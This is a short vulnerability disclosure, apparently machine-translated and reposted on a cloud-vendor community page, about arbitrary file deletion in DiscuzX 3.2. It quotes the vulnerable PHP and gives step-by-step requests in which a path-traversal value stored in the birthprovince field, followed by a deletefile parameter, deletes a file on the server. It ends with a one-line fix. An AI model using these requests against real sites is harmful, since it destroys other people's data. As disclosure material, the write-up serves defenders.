DiscuzX Arbitrary File Operation Vulnerability

Source: Internet
Author: User

DiscuzX Arbitrary File Operation Vulnerability

DiscuzX Arbitrary File Operation Vulnerability

The vulnerability is actually caused by the deletion of arbitrary files. However, the deletion function is easy to locate and therefore cannot be written in a brief description or title.


Download the DiscuzX 3.2 code yesterday.


Find the following code in source/include/spacecp/spacecp_profile.php:
 

if($_GET['deletefile'] && is_array($_GET['deletefile'])) {foreach($_GET['deletefile'] as $key => $value) {if(isset($_G['cache']['profilesetting'][$key])) {echo (getglobal('setting/attachdir').'./profile/'.$space[$key]);@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);$verifyarr[$key] = $setarr[$key] = '';}}}



No processing is found for $ _ GET ['deletefile'], and $ space [$ key] comes from


 

$space = getuserbyuid($_G['uid']);space_merge($space, 'field_home');space_merge($space, 'profile');





Therefore, we need to find a location in the $ space variable for the file to be deleted. The field I use is birthprovince.
 

We add the file to be deleted in birthprovince for the first time and save the information. Next time we submit $ _ GET ['deletefile'] [birthprovince], the file pointed to by $ space [birthprovince] will be deleted.



That is to say, we submit birthprovince as.../robots.txt





After saving, the $ space ['birthprovice '] in the database will become .. /.. /.. /robots.txt. When we submit $ _ GET ['deletefile'] [birthprovince], the file pointed to by $ space ['birthprovice'] will be deleted.



Procedure:



After logging in, submit:

Birthprovince =..././robots.txt & profilesubmit = 1 & formhash = 85cf7ef0

Note that 85cf7ef0 is your formhash.



Http: // localhost/dx/home. php? Mod = spacecp & ac = profile & op = base

Message: saved successfully.



At this time, your birthprovince is.../robots.txt. The generated $ space ['birthprovince '] is.../robots.txt.



Next we will perform parameter operations and submit:



Birthprovince =..././robots.txt & profilesubmit = 1 & formhash = 85cf7ef0

To



Http: // localhost/study/dx/home. php? Mod = spacecp & ac = profile & op = base & deletefile [birthprovince] = aaaaaa



OK. The file is deleted successfully.

Solution:

Check whether the key pointed to by deletefile is a field that allows FILES in a custom field.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.